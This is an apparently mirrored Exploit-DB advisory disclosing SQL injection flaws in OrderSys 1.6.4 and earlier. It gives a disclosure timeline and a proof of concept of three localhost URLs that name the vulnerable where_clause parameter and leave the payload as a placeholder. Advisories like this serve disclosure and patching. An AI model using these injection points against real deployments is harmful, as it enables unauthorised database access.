OrderSys 1.6.4 – SQL Injection

• Exploit Database
• 80 阅读

• 作者： muuratsalo
  日期： 2011-11-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18091/

• 	------------------------------------------------------------------------
  	OrderSys <= 1.6.4 Sql Injection Vulnerabilities
  	------------------------------------------------------------------------
   
  	author............: muuratsalo (Revshell.com)
  	contact...........: muuratsalo[at]gmail[dot]com
  	download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
  
   
  	[0x01] Vulnerability overview:
  
  	All versions of OrderSys <= 1.6.4 are affected by Sql injection vulnerabilities.
  	A valid account could be required to exploit the vulnerabilities.
   
  	[0x02] Disclosure timeline:
   
  	[04/11/2011] - Multiple sql injection vulnerabilities discovered and reported to the vendor
  	[05/11/2011] - Multiple sql injection vulnerabilities fixed, OrderSys 1.6.4 released. 
  [05/11/2011] - OrderSys 1.6.4 is still vulnerable to some sql injection vulnerabilities.
  	[05/11/2011] - The vendor is currently working on fixing the reported issues.
  	[06/11/2011] - Public disclosure
  
  	[0x03] Proof of Concept:
  
  http://localhost/ordersys/ordering/interface_creator/index.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
  http://localhost/ordersys/ordering/interface_creator/index_long.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
  http://localhost/ordersys/ordering/interface_creator/index_short.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
  

  Python

  Copy